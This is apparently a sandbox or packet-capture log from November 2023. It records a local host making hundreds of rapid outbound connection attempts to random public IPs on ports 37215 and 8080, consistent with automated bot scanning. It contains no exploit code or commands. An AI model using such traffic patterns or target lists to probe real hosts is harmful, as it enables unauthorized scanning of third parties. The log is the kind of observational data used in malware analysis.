Nov 23, 2023 05:14:47.594326019 CET	54970	37215	192.168.2.13	156.136.176.60
Nov 23, 2023 05:14:47.594326973 CET	54970	37215	192.168.2.13	41.229.20.166
Nov 23, 2023 05:14:47.594326019 CET	54970	37215	192.168.2.13	197.201.8.90
Nov 23, 2023 05:14:47.594326973 CET	54970	37215	192.168.2.13	156.246.33.198
Nov 23, 2023 05:14:47.594326973 CET	54970	37215	192.168.2.13	41.56.238.118
Nov 23, 2023 05:14:47.594331026 CET	54970	37215	192.168.2.13	197.145.225.130
Nov 23, 2023 05:14:47.594331026 CET	54970	37215	192.168.2.13	41.193.26.184
Nov 23, 2023 05:14:47.594331980 CET	54970	37215	192.168.2.13	156.189.173.53
Nov 23, 2023 05:14:47.594332933 CET	54970	37215	192.168.2.13	156.69.140.35
Nov 23, 2023 05:14:47.594332933 CET	54970	37215	192.168.2.13	156.88.219.88
Nov 23, 2023 05:14:47.594332933 CET	54970	37215	192.168.2.13	156.159.61.225
Nov 23, 2023 05:14:47.594332933 CET	54970	37215	192.168.2.13	197.9.190.94
Nov 23, 2023 05:14:47.594333887 CET	54970	37215	192.168.2.13	41.199.183.62
Nov 23, 2023 05:14:47.594332933 CET	54970	37215	192.168.2.13	156.102.11.247
Nov 23, 2023 05:14:47.594332933 CET	54970	37215	192.168.2.13	197.35.86.216
Nov 23, 2023 05:14:47.594333887 CET	54970	37215	192.168.2.13	156.98.251.144
Nov 23, 2023 05:14:47.594332933 CET	54970	37215	192.168.2.13	156.62.46.166
Nov 23, 2023 05:14:47.594333887 CET	54970	37215	192.168.2.13	41.98.139.150
Nov 23, 2023 05:14:47.594333887 CET	54970	37215	192.168.2.13	41.129.10.187
Nov 23, 2023 05:14:47.594422102 CET	54970	37215	192.168.2.13	197.172.140.165
Nov 23, 2023 05:14:47.594423056 CET	54970	37215	192.168.2.13	41.175.86.38
Nov 23, 2023 05:14:47.594423056 CET	54970	37215	192.168.2.13	41.131.25.98
Nov 23, 2023 05:14:47.594424009 CET	54970	37215	192.168.2.13	41.189.91.58
Nov 23, 2023 05:14:47.594424009 CET	54970	37215	192.168.2.13	156.131.217.146
Nov 23, 2023 05:14:47.594424009 CET	54970	37215	192.168.2.13	41.231.90.192
Nov 23, 2023 05:14:47.594424963 CET	54970	37215	192.168.2.13	156.195.214.250
Nov 23, 2023 05:14:47.594424963 CET	54970	37215	192.168.2.13	197.64.111.137
Nov 23, 2023 05:14:47.594428062 CET	54970	37215	192.168.2.13	41.185.162.173
Nov 23, 2023 05:14:47.594427109 CET	54970	37215	192.168.2.13	197.43.250.54
Nov 23, 2023 05:14:47.594428062 CET	54970	37215	192.168.2.13	41.177.107.227
Nov 23, 2023 05:14:47.594427109 CET	54970	37215	192.168.2.13	156.139.106.208
Nov 23, 2023 05:14:47.594428062 CET	54970	37215	192.168.2.13	156.210.142.205
Nov 23, 2023 05:14:47.594428062 CET	54970	37215	192.168.2.13	156.163.32.133
Nov 23, 2023 05:14:47.594428062 CET	54970	37215	192.168.2.13	197.25.29.244
Nov 23, 2023 05:14:47.594444036 CET	54970	37215	192.168.2.13	41.201.144.141
Nov 23, 2023 05:14:47.594444036 CET	54970	37215	192.168.2.13	156.110.252.230
Nov 23, 2023 05:14:47.594444036 CET	54970	37215	192.168.2.13	156.38.131.30
Nov 23, 2023 05:14:47.594459057 CET	54970	37215	192.168.2.13	197.187.103.230
Nov 23, 2023 05:14:47.594459057 CET	54970	37215	192.168.2.13	41.38.44.46
Nov 23, 2023 05:14:47.594459057 CET	54970	37215	192.168.2.13	156.200.172.55
Nov 23, 2023 05:14:47.594461918 CET	54970	37215	192.168.2.13	41.81.14.86
Nov 23, 2023 05:14:47.594461918 CET	54970	37215	192.168.2.13	197.92.212.239
Nov 23, 2023 05:14:47.594461918 CET	54970	37215	192.168.2.13	41.184.29.179
Nov 23, 2023 05:14:47.594461918 CET	54970	37215	192.168.2.13	156.122.34.66
Nov 23, 2023 05:14:47.594464064 CET	54970	37215	192.168.2.13	197.153.2.29
Nov 23, 2023 05:14:47.594461918 CET	54970	37215	192.168.2.13	41.183.137.1
Nov 23, 2023 05:14:47.594465017 CET	54970	37215	192.168.2.13	41.125.63.206
Nov 23, 2023 05:14:47.594465017 CET	54970	37215	192.168.2.13	41.247.209.137
Nov 23, 2023 05:14:47.594461918 CET	54970	37215	192.168.2.13	41.202.118.2
Nov 23, 2023 05:14:47.594461918 CET	54970	37215	192.168.2.13	41.15.61.67
Nov 23, 2023 05:14:47.594461918 CET	54970	37215	192.168.2.13	197.92.155.84
Nov 23, 2023 05:14:47.594465017 CET	54970	37215	192.168.2.13	156.169.68.249
Nov 23, 2023 05:14:47.594465017 CET	54970	37215	192.168.2.13	197.185.54.11
Nov 23, 2023 05:14:47.594465017 CET	54970	37215	192.168.2.13	197.222.22.253
Nov 23, 2023 05:14:47.594465017 CET	54970	37215	192.168.2.13	197.122.255.3
Nov 23, 2023 05:14:47.594481945 CET	54970	37215	192.168.2.13	156.222.100.126
Nov 23, 2023 05:14:47.594481945 CET	54970	37215	192.168.2.13	156.190.80.129
Nov 23, 2023 05:14:47.594485044 CET	54970	37215	192.168.2.13	156.138.37.96
Nov 23, 2023 05:14:47.594489098 CET	54970	37215	192.168.2.13	156.57.146.226
Nov 23, 2023 05:14:47.594489098 CET	54970	37215	192.168.2.13	197.35.125.29
Nov 23, 2023 05:14:47.594489098 CET	54970	37215	192.168.2.13	41.148.33.245
Nov 23, 2023 05:14:47.594492912 CET	54970	37215	192.168.2.13	41.224.167.48
Nov 23, 2023 05:14:47.594496965 CET	54970	37215	192.168.2.13	197.192.195.90
Nov 23, 2023 05:14:47.594505072 CET	54970	37215	192.168.2.13	41.17.175.26
Nov 23, 2023 05:14:47.594505072 CET	54970	37215	192.168.2.13	197.9.82.234
Nov 23, 2023 05:14:47.594506025 CET	54970	37215	192.168.2.13	41.115.47.238
Nov 23, 2023 05:14:47.594510078 CET	54970	37215	192.168.2.13	156.226.147.158
Nov 23, 2023 05:14:47.594510078 CET	54970	37215	192.168.2.13	41.6.237.102
Nov 23, 2023 05:14:47.594516993 CET	54970	37215	192.168.2.13	156.161.160.151
Nov 23, 2023 05:14:47.612559080 CET	54202	8080	192.168.2.13	95.14.64.5
Nov 23, 2023 05:14:47.612603903 CET	54202	8080	192.168.2.13	62.221.211.5
Nov 23, 2023 05:14:47.612612963 CET	54202	8080	192.168.2.13	94.111.138.6
Nov 23, 2023 05:14:47.612615108 CET	54202	8080	192.168.2.13	31.149.116.150
Nov 23, 2023 05:14:47.612627983 CET	54202	8080	192.168.2.13	95.62.240.162
Nov 23, 2023 05:14:47.612654924 CET	54202	8080	192.168.2.13	62.64.243.49
Nov 23, 2023 05:14:47.612659931 CET	54202	8080	192.168.2.13	31.71.79.34
Nov 23, 2023 05:14:47.612664938 CET	54202	8080	192.168.2.13	31.193.52.61
Nov 23, 2023 05:14:47.612668037 CET	54202	8080	192.168.2.13	85.167.205.53
Nov 23, 2023 05:14:47.612668037 CET	54202	8080	192.168.2.13	94.212.115.84
Nov 23, 2023 05:14:47.612668037 CET	54202	8080	192.168.2.13	62.169.49.250
Nov 23, 2023 05:14:47.612677097 CET	54202	8080	192.168.2.13	31.246.38.239
Nov 23, 2023 05:14:47.612740040 CET	54202	8080	192.168.2.13	62.126.3.71
Nov 23, 2023 05:14:47.612742901 CET	54202	8080	192.168.2.13	95.66.226.20
Nov 23, 2023 05:14:47.612744093 CET	54202	8080	192.168.2.13	62.210.133.9
Nov 23, 2023 05:14:47.612744093 CET	54202	8080	192.168.2.13	94.21.101.123
Nov 23, 2023 05:14:47.612746000 CET	54202	8080	192.168.2.13	95.171.238.251
Nov 23, 2023 05:14:47.612746000 CET	54202	8080	192.168.2.13	62.35.169.173
Nov 23, 2023 05:14:47.612746000 CET	54202	8080	192.168.2.13	85.161.27.192
Nov 23, 2023 05:14:47.612746000 CET	54202	8080	192.168.2.13	31.23.111.244
Nov 23, 2023 05:14:47.612746000 CET	54202	8080	192.168.2.13	95.207.111.61
Nov 23, 2023 05:14:47.612782001 CET	54202	8080	192.168.2.13	94.244.121.7
Nov 23, 2023 05:14:47.612782001 CET	54202	8080	192.168.2.13	85.141.154.150
Nov 23, 2023 05:14:47.612782001 CET	54202	8080	192.168.2.13	94.59.209.128
Nov 23, 2023 05:14:47.612792969 CET	54202	8080	192.168.2.13	62.31.121.175
Nov 23, 2023 05:14:47.612792969 CET	54202	8080	192.168.2.13	31.30.177.152
Nov 23, 2023 05:14:47.612793922 CET	54202	8080	192.168.2.13	95.117.135.210
Nov 23, 2023 05:14:47.612795115 CET	54202	8080	192.168.2.13	31.92.194.130
Nov 23, 2023 05:14:47.612795115 CET	54202	8080	192.168.2.13	31.230.153.44
Nov 23, 2023 05:14:47.612795115 CET	54202	8080	192.168.2.13	95.219.35.39
Nov 23, 2023 05:14:47.612797022 CET	54202	8080	192.168.2.13	94.204.228.249
Nov 23, 2023 05:14:47.612797022 CET	54202	8080	192.168.2.13	31.121.179.43
Nov 23, 2023 05:14:47.612797022 CET	54202	8080	192.168.2.13	31.89.231.157
Nov 23, 2023 05:14:47.612797022 CET	54202	8080	192.168.2.13	31.49.188.27
Nov 23, 2023 05:14:47.612797022 CET	54202	8080	192.168.2.13	85.117.158.239
Nov 23, 2023 05:14:47.612818003 CET	54202	8080	192.168.2.13	85.13.209.163
Nov 23, 2023 05:14:47.612818003 CET	54202	8080	192.168.2.13	85.21.139.85
Nov 23, 2023 05:14:47.612818003 CET	54202	8080	192.168.2.13	62.0.109.102
Nov 23, 2023 05:14:47.612818956 CET	54202	8080	192.168.2.13	31.249.121.174
Nov 23, 2023 05:14:47.612819910 CET	54202	8080	192.168.2.13	31.197.190.24
Nov 23, 2023 05:14:47.612819910 CET	54202	8080	192.168.2.13	95.243.227.219
Nov 23, 2023 05:14:47.612819910 CET	54202	8080	192.168.2.13	62.103.89.242
Nov 23, 2023 05:14:47.612819910 CET	54202	8080	192.168.2.13	62.124.219.251
Nov 23, 2023 05:14:47.612823009 CET	54202	8080	192.168.2.13	31.215.128.27
Nov 23, 2023 05:14:47.612821102 CET	54202	8080	192.168.2.13	94.25.190.231
Nov 23, 2023 05:14:47.612819910 CET	54202	8080	192.168.2.13	62.137.185.68
Nov 23, 2023 05:14:47.612821102 CET	54202	8080	192.168.2.13	94.213.223.30
Nov 23, 2023 05:14:47.612819910 CET	54202	8080	192.168.2.13	94.250.46.8
Nov 23, 2023 05:14:47.612819910 CET	54202	8080	192.168.2.13	31.15.37.240
Nov 23, 2023 05:14:47.612835884 CET	54202	8080	192.168.2.13	95.208.76.94
Nov 23, 2023 05:14:47.612835884 CET	54202	8080	192.168.2.13	62.138.122.177
Nov 23, 2023 05:14:47.612838984 CET	54202	8080	192.168.2.13	95.216.132.234
Nov 23, 2023 05:14:47.612869978 CET	54202	8080	192.168.2.13	94.207.225.165
Nov 23, 2023 05:14:47.612871885 CET	54202	8080	192.168.2.13	85.173.58.55
Nov 23, 2023 05:14:47.612871885 CET	54202	8080	192.168.2.13	31.174.132.85
Nov 23, 2023 05:14:47.612871885 CET	54202	8080	192.168.2.13	94.102.177.232
Nov 23, 2023 05:14:47.612871885 CET	54202	8080	192.168.2.13	95.230.9.169
Nov 23, 2023 05:14:47.612874031 CET	54202	8080	192.168.2.13	94.192.240.114
Nov 23, 2023 05:14:47.612874031 CET	54202	8080	192.168.2.13	62.233.254.251
Nov 23, 2023 05:14:47.612876892 CET	54202	8080	192.168.2.13	85.184.147.9
Nov 23, 2023 05:14:47.612876892 CET	54202	8080	192.168.2.13	85.101.47.141
Nov 23, 2023 05:14:47.612876892 CET	54202	8080	192.168.2.13	94.254.3.174
Nov 23, 2023 05:14:47.612880945 CET	54202	8080	192.168.2.13	62.10.217.98
Nov 23, 2023 05:14:47.612880945 CET	54202	8080	192.168.2.13	85.240.48.190
Nov 23, 2023 05:14:47.612880945 CET	54202	8080	192.168.2.13	95.201.125.94
Nov 23, 2023 05:14:47.612880945 CET	54202	8080	192.168.2.13	94.115.96.87
Nov 23, 2023 05:14:47.612898111 CET	54202	8080	192.168.2.13	62.240.252.135
Nov 23, 2023 05:14:47.612898111 CET	54202	8080	192.168.2.13	85.50.177.188
Nov 23, 2023 05:14:47.612899065 CET	54202	8080	192.168.2.13	85.206.55.173
Nov 23, 2023 05:14:47.612899065 CET	54202	8080	192.168.2.13	62.206.138.71
Nov 23, 2023 05:14:47.612899065 CET	54202	8080	192.168.2.13	31.144.240.188
Nov 23, 2023 05:14:47.612900972 CET	54202	8080	192.168.2.13	62.154.232.22
Nov 23, 2023 05:14:47.612899065 CET	54202	8080	192.168.2.13	31.74.134.179
Nov 23, 2023 05:14:47.612898111 CET	54202	8080	192.168.2.13	85.179.189.240
Nov 23, 2023 05:14:47.612899065 CET	54202	8080	192.168.2.13	95.105.188.60
Nov 23, 2023 05:14:47.612903118 CET	54202	8080	192.168.2.13	31.178.138.202
Nov 23, 2023 05:14:47.612903118 CET	54202	8080	192.168.2.13	94.200.243.25
Nov 23, 2023 05:14:47.612903118 CET	54202	8080	192.168.2.13	62.16.235.128
Nov 23, 2023 05:14:47.612904072 CET	54202	8080	192.168.2.13	95.234.241.153
Nov 23, 2023 05:14:47.612904072 CET	54202	8080	192.168.2.13	85.180.162.116
Nov 23, 2023 05:14:47.612916946 CET	54202	8080	192.168.2.13	85.16.209.13
Nov 23, 2023 05:14:47.612957001 CET	54202	8080	192.168.2.13	95.81.13.61
Nov 23, 2023 05:14:47.612957954 CET	54202	8080	192.168.2.13	95.200.21.120
Nov 23, 2023 05:14:47.612957954 CET	54202	8080	192.168.2.13	95.193.129.128
Nov 23, 2023 05:14:47.612958908 CET	54202	8080	192.168.2.13	95.30.163.224
Nov 23, 2023 05:14:47.612958908 CET	54202	8080	192.168.2.13	31.155.29.251
Nov 23, 2023 05:14:47.612961054 CET	54202	8080	192.168.2.13	85.216.58.90
Nov 23, 2023 05:14:47.612961054 CET	54202	8080	192.168.2.13	85.85.200.233
Nov 23, 2023 05:14:47.612965107 CET	54202	8080	192.168.2.13	31.231.21.17
Nov 23, 2023 05:14:47.612965107 CET	54202	8080	192.168.2.13	94.23.38.106
Nov 23, 2023 05:14:47.612965107 CET	54202	8080	192.168.2.13	62.236.36.145
Nov 23, 2023 05:14:47.612965107 CET	54202	8080	192.168.2.13	85.96.16.195
Nov 23, 2023 05:14:47.612967968 CET	54202	8080	192.168.2.13	62.36.0.39
Nov 23, 2023 05:14:47.612967968 CET	54202	8080	192.168.2.13	85.133.156.24
Nov 23, 2023 05:14:47.612976074 CET	54202	8080	192.168.2.13	62.219.6.229
Nov 23, 2023 05:14:47.612977028 CET	54202	8080	192.168.2.13	62.216.19.189
Nov 23, 2023 05:14:47.612983942 CET	54202	8080	192.168.2.13	94.152.102.216
Nov 23, 2023 05:14:47.612983942 CET	54202	8080	192.168.2.13	94.79.184.29
Nov 23, 2023 05:14:47.612983942 CET	54202	8080	192.168.2.13	62.125.137.55
Nov 23, 2023 05:14:47.613006115 CET	54202	8080	192.168.2.13	31.2.24.157
Nov 23, 2023 05:14:47.613024950 CET	54202	8080	192.168.2.13	85.84.153.156
Nov 23, 2023 05:14:47.613024950 CET	54202	8080	192.168.2.13	95.36.184.117
Nov 23, 2023 05:14:47.613024950 CET	54202	8080	192.168.2.13	31.220.121.120
Nov 23, 2023 05:14:47.613025904 CET	54202	8080	192.168.2.13	94.14.199.205
Nov 23, 2023 05:14:47.613028049 CET	54202	8080	192.168.2.13	85.172.232.113
Nov 23, 2023 05:14:47.613028049 CET	54202	8080	192.168.2.13	85.5.105.154
Nov 23, 2023 05:14:47.613028049 CET	54202	8080	192.168.2.13	31.128.174.32
Nov 23, 2023 05:14:47.613046885 CET	54202	8080	192.168.2.13	62.89.175.231
Nov 23, 2023 05:14:47.613046885 CET	54202	8080	192.168.2.13	62.93.27.82
Nov 23, 2023 05:14:47.613049030 CET	54202	8080	192.168.2.13	31.210.59.220
Nov 23, 2023 05:14:47.613049030 CET	54202	8080	192.168.2.13	85.192.225.49
Nov 23, 2023 05:14:47.613049984 CET	54202	8080	192.168.2.13	62.103.15.112
Nov 23, 2023 05:14:47.613049984 CET	54202	8080	192.168.2.13	31.35.109.92
Nov 23, 2023 05:14:47.613049984 CET	54202	8080	192.168.2.13	94.167.216.251
Nov 23, 2023 05:14:47.613050938 CET	54202	8080	192.168.2.13	94.231.53.152
Nov 23, 2023 05:14:47.613050938 CET	54202	8080	192.168.2.13	31.128.240.40
Nov 23, 2023 05:14:47.613053083 CET	54202	8080	192.168.2.13	31.126.38.4
Nov 23, 2023 05:14:47.613053083 CET	54202	8080	192.168.2.13	31.13.31.110
Nov 23, 2023 05:14:47.613053083 CET	54202	8080	192.168.2.13	62.253.46.224
Nov 23, 2023 05:14:47.613058090 CET	54202	8080	192.168.2.13	94.208.85.200
Nov 23, 2023 05:14:47.613068104 CET	54202	8080	192.168.2.13	85.24.136.124
Nov 23, 2023 05:14:47.613068104 CET	54202	8080	192.168.2.13	85.21.99.116
Nov 23, 2023 05:14:47.613070011 CET	54202	8080	192.168.2.13	94.3.98.181
Nov 23, 2023 05:14:47.613070965 CET	54202	8080	192.168.2.13	62.254.177.144
Nov 23, 2023 05:14:47.613071918 CET	54202	8080	192.168.2.13	62.222.87.84
Nov 23, 2023 05:14:47.613075972 CET	54202	8080	192.168.2.13	85.52.186.11
Nov 23, 2023 05:14:47.613075972 CET	54202	8080	192.168.2.13	31.208.191.159
Nov 23, 2023 05:14:47.613075972 CET	54202	8080	192.168.2.13	62.183.205.224
Nov 23, 2023 05:14:47.613076925 CET	54202	8080	192.168.2.13	62.230.138.165
Nov 23, 2023 05:14:47.613094091 CET	54202	8080	192.168.2.13	95.186.59.5
Nov 23, 2023 05:14:47.613094091 CET	54202	8080	192.168.2.13	62.93.107.38
Nov 23, 2023 05:14:47.613094091 CET	54202	8080	192.168.2.13	62.10.39.150
Nov 23, 2023 05:14:47.613094091 CET	54202	8080	192.168.2.13	31.56.46.33
Nov 23, 2023 05:14:47.613094091 CET	54202	8080	192.168.2.13	94.78.108.161
Nov 23, 2023 05:14:47.613095045 CET	54202	8080	192.168.2.13	31.122.60.38
Nov 23, 2023 05:14:47.613095999 CET	54202	8080	192.168.2.13	31.90.23.180
Nov 23, 2023 05:14:47.613095045 CET	54202	8080	192.168.2.13	85.198.212.72
Nov 23, 2023 05:14:47.613096952 CET	54202	8080	192.168.2.13	95.105.126.250
Nov 23, 2023 05:14:47.613097906 CET	54202	8080	192.168.2.13	95.124.172.178
Nov 23, 2023 05:14:47.613095999 CET	54202	8080	192.168.2.13	85.120.201.240
Nov 23, 2023 05:14:47.613095999 CET	54202	8080	192.168.2.13	31.255.243.125
Nov 23, 2023 05:14:47.613096952 CET	54202	8080	192.168.2.13	95.7.117.92
Nov 23, 2023 05:14:47.613095999 CET	54202	8080	192.168.2.13	94.125.39.147
Nov 23, 2023 05:14:47.613096952 CET	54202	8080	192.168.2.13	95.160.153.26
Nov 23, 2023 05:14:47.613095999 CET	54202	8080	192.168.2.13	85.184.55.159
Nov 23, 2023 05:14:47.613095999 CET	54202	8080	192.168.2.13	85.255.135.221
Nov 23, 2023 05:14:47.613096952 CET	54202	8080	192.168.2.13	95.241.143.44
Nov 23, 2023 05:14:47.613171101 CET	54202	8080	192.168.2.13	85.148.200.137
Nov 23, 2023 05:14:47.613171101 CET	54202	8080	192.168.2.13	94.123.160.47
Nov 23, 2023 05:14:47.613173008 CET	54202	8080	192.168.2.13	62.142.150.129
Nov 23, 2023 05:14:47.613173008 CET	54202	8080	192.168.2.13	62.40.20.19
Nov 23, 2023 05:14:47.613173962 CET	54202	8080	192.168.2.13	94.205.248.129
Nov 23, 2023 05:14:47.613173962 CET	54202	8080	192.168.2.13	85.241.38.99
Nov 23, 2023 05:14:47.613173962 CET	54202	8080	192.168.2.13	95.173.211.117
Nov 23, 2023 05:14:47.613195896 CET	54202	8080	192.168.2.13	31.230.182.246
Nov 23, 2023 05:14:47.613195896 CET	54202	8080	192.168.2.13	85.11.202.141
Nov 23, 2023 05:14:47.613195896 CET	54202	8080	192.168.2.13	31.215.134.227
Nov 23, 2023 05:14:47.613195896 CET	54202	8080	192.168.2.13	95.210.32.213
Nov 23, 2023 05:14:47.613198042 CET	54202	8080	192.168.2.13	62.170.177.216
Nov 23, 2023 05:14:47.613198996 CET	54202	8080	192.168.2.13	94.204.125.239
Nov 23, 2023 05:14:47.613198042 CET	54202	8080	192.168.2.13	94.129.247.139
Nov 23, 2023 05:14:47.613199949 CET	54202	8080	192.168.2.13	94.163.113.63
Nov 23, 2023 05:14:47.613198042 CET	54202	8080	192.168.2.13	31.173.198.98
Nov 23, 2023 05:14:47.613198042 CET	54202	8080	192.168.2.13	31.104.23.8
Nov 23, 2023 05:14:47.613198042 CET	54202	8080	192.168.2.13	94.119.196.163
Nov 23, 2023 05:14:47.613198042 CET	54202	8080	192.168.2.13	62.127.254.218
Nov 23, 2023 05:14:47.613198042 CET	54202	8080	192.168.2.13	95.19.47.180
Nov 23, 2023 05:14:47.613198996 CET	54202	8080	192.168.2.13	62.229.151.239
Nov 23, 2023 05:14:47.613204002 CET	54202	8080	192.168.2.13	95.81.44.47
Nov 23, 2023 05:14:47.613198996 CET	54202	8080	192.168.2.13	95.169.210.160
Nov 23, 2023 05:14:47.613204956 CET	54202	8080	192.168.2.13	62.66.179.25
Nov 23, 2023 05:14:47.613250971 CET	54202	8080	192.168.2.13	85.220.121.234
Nov 23, 2023 05:14:47.613250971 CET	54202	8080	192.168.2.13	31.47.48.51
Nov 23, 2023 05:14:47.613250971 CET	54202	8080	192.168.2.13	31.232.37.221
Nov 23, 2023 05:14:47.613250971 CET	54202	8080	192.168.2.13	85.77.218.138
Nov 23, 2023 05:14:47.613253117 CET	54202	8080	192.168.2.13	62.160.245.106
Nov 23, 2023 05:14:47.613253117 CET	54202	8080	192.168.2.13	94.62.57.179
Nov 23, 2023 05:14:47.613253117 CET	54202	8080	192.168.2.13	95.75.76.46
Nov 23, 2023 05:14:47.613253117 CET	54202	8080	192.168.2.13	94.17.148.158
Nov 23, 2023 05:14:47.613253117 CET	54202	8080	192.168.2.13	62.44.144.73
Nov 23, 2023 05:14:47.613253117 CET	54202	8080	192.168.2.13	62.82.150.139
Nov 23, 2023 05:14:47.613255024 CET	54202	8080	192.168.2.13	94.251.230.104
Nov 23, 2023 05:14:47.613255024 CET	54202	8080	192.168.2.13	85.175.30.14
Nov 23, 2023 05:14:47.613255024 CET	54202	8080	192.168.2.13	85.78.159.73
Nov 23, 2023 05:14:47.613256931 CET	54202	8080	192.168.2.13	95.195.164.10
Nov 23, 2023 05:14:47.613260031 CET	54202	8080	192.168.2.13	95.235.117.100
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	85.234.227.166
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	85.144.13.193
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	85.4.137.118
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	95.124.25.8
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	62.108.85.51
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	62.156.48.255
Nov 23, 2023 05:14:47.613260031 CET	54202	8080	192.168.2.13	85.31.192.246
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	85.220.130.11
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	62.26.168.166
Nov 23, 2023 05:14:47.613260031 CET	54202	8080	192.168.2.13	85.230.23.32
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	95.187.121.88
Nov 23, 2023 05:14:47.613260031 CET	54202	8080	192.168.2.13	95.42.139.253
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	95.159.6.189
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	95.57.192.35
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	95.130.153.3
Nov 23, 2023 05:14:47.613260984 CET	54202	8080	192.168.2.13	95.116.122.226
Nov 23, 2023 05:14:47.613261938 CET	54202	8080	192.168.2.13	62.35.67.57
Nov 23, 2023 05:14:47.613261938 CET	54202	8080	192.168.2.13	85.227.69.92
Nov 23, 2023 05:14:47.613276958 CET	54202	8080	192.168.2.13	95.35.102.97
Nov 23, 2023 05:14:47.613276958 CET	54202	8080	192.168.2.13	95.31.12.184
Nov 23, 2023 05:14:47.613281012 CET	54202	8080	192.168.2.13	94.56.38.216
Nov 23, 2023 05:14:47.613281012 CET	54202	8080	192.168.2.13	85.184.58.81
Nov 23, 2023 05:14:47.613281012 CET	54202	8080	192.168.2.13	31.6.247.10
Nov 23, 2023 05:14:47.613281012 CET	54202	8080	192.168.2.13	31.70.185.168
Nov 23, 2023 05:14:47.613281012 CET	54202	8080	192.168.2.13	94.53.236.215
Nov 23, 2023 05:14:47.613291025 CET	54202	8080	192.168.2.13	94.230.196.148
Nov 23, 2023 05:14:47.613291025 CET	54202	8080	192.168.2.13	62.79.74.57
Nov 23, 2023 05:14:47.613291979 CET	54202	8080	192.168.2.13	95.209.40.111
Nov 23, 2023 05:14:47.613291979 CET	54202	8080	192.168.2.13	95.83.113.214
Nov 23, 2023 05:14:47.613291979 CET	54202	8080	192.168.2.13	94.197.114.40
Nov 23, 2023 05:14:47.613291979 CET	54202	8080	192.168.2.13	94.124.121.208
Nov 23, 2023 05:14:47.613302946 CET	54202	8080	192.168.2.13	85.56.222.233
Nov 23, 2023 05:14:47.613311052 CET	54202	8080	192.168.2.13	85.90.42.164
Nov 23, 2023 05:14:47.613311052 CET	54202	8080	192.168.2.13	85.73.31.69
Nov 23, 2023 05:14:47.613311052 CET	54202	8080	192.168.2.13	95.108.177.239
Nov 23, 2023 05:14:47.613311052 CET	54202	8080	192.168.2.13	94.231.60.223
Nov 23, 2023 05:14:47.613311052 CET	54202	8080	192.168.2.13	85.22.18.189
Nov 23, 2023 05:14:47.613311052 CET	54202	8080	192.168.2.13	95.253.124.228
Nov 23, 2023 05:14:47.613323927 CET	54202	8080	192.168.2.13	31.26.63.70
Nov 23, 2023 05:14:47.613323927 CET	54202	8080	192.168.2.13	94.132.148.219
Nov 23, 2023 05:14:47.613332033 CET	54202	8080	192.168.2.13	85.17.45.108
Nov 23, 2023 05:14:47.613332033 CET	54202	8080	192.168.2.13	31.140.129.238
Nov 23, 2023 05:14:47.613332033 CET	54202	8080	192.168.2.13	94.172.240.192
Nov 23, 2023 05:14:47.613344908 CET	54202	8080	192.168.2.13	85.140.69.135
Nov 23, 2023 05:14:47.613344908 CET	54202	8080	192.168.2.13	85.3.204.67
Nov 23, 2023 05:14:47.613344908 CET	54202	8080	192.168.2.13	31.49.81.130
Nov 23, 2023 05:14:47.613365889 CET	54202	8080	192.168.2.13	62.208.10.151
Nov 23, 2023 05:14:47.613365889 CET	54202	8080	192.168.2.13	95.242.238.75
Nov 23, 2023 05:14:47.613367081 CET	54202	8080	192.168.2.13	31.188.163.105
Nov 23, 2023 05:14:47.613367081 CET	54202	8080	192.168.2.13	62.13.216.162
Nov 23, 2023 05:14:47.613368988 CET	54202	8080	192.168.2.13	62.246.99.173
Nov 23, 2023 05:14:47.613377094 CET	54202	8080	192.168.2.13	95.176.68.160
Nov 23, 2023 05:14:47.613378048 CET	54202	8080	192.168.2.13	62.219.209.75
Nov 23, 2023 05:14:47.613377094 CET	54202	8080	192.168.2.13	95.87.149.36
Nov 23, 2023 05:14:47.613377094 CET	54202	8080	192.168.2.13	62.250.202.190
Nov 23, 2023 05:14:47.613377094 CET	54202	8080	192.168.2.13	85.34.84.233
Nov 23, 2023 05:14:47.613377094 CET	54202	8080	192.168.2.13	31.103.156.197
Nov 23, 2023 05:14:47.613377094 CET	54202	8080	192.168.2.13	31.156.247.165
Nov 23, 2023 05:14:47.613377094 CET	54202	8080	192.168.2.13	95.29.19.84
Nov 23, 2023 05:14:47.613377094 CET	54202	8080	192.168.2.13	94.17.216.97
Nov 23, 2023 05:14:47.613385916 CET	54202	8080	192.168.2.13	85.210.228.196
Nov 23, 2023 05:14:47.613385916 CET	54202	8080	192.168.2.13	31.120.30.129
Nov 23, 2023 05:14:47.613385916 CET	54202	8080	192.168.2.13	85.128.39.209
Nov 23, 2023 05:14:47.613385916 CET	54202	8080	192.168.2.13	95.155.7.135
Nov 23, 2023 05:14:47.613385916 CET	54202	8080	192.168.2.13	95.94.222.243
Nov 23, 2023 05:14:47.613385916 CET	54202	8080	192.168.2.13	94.149.25.123
Nov 23, 2023 05:14:47.613396883 CET	54202	8080	192.168.2.13	62.150.244.220
Nov 23, 2023 05:14:47.613396883 CET	54202	8080	192.168.2.13	94.44.41.134
Nov 23, 2023 05:14:47.613421917 CET	54202	8080	192.168.2.13	94.119.184.181
Nov 23, 2023 05:14:47.613424063 CET	54202	8080	192.168.2.13	62.151.226.179
Nov 23, 2023 05:14:47.613424063 CET	54202	8080	192.168.2.13	94.50.161.218
Nov 23, 2023 05:14:47.613428116 CET	54202	8080	192.168.2.13	62.166.251.203
Nov 23, 2023 05:14:47.613428116 CET	54202	8080	192.168.2.13	94.109.54.169
Nov 23, 2023 05:14:47.613428116 CET	54202	8080	192.168.2.13	62.36.54.171
Nov 23, 2023 05:14:47.613428116 CET	54202	8080	192.168.2.13	95.141.44.227
Nov 23, 2023 05:14:47.613432884 CET	54202	8080	192.168.2.13	95.203.229.58
Nov 23, 2023 05:14:47.613436937 CET	54202	8080	192.168.2.13	95.100.234.56
Nov 23, 2023 05:14:47.613447905 CET	54202	8080	192.168.2.13	94.218.111.156
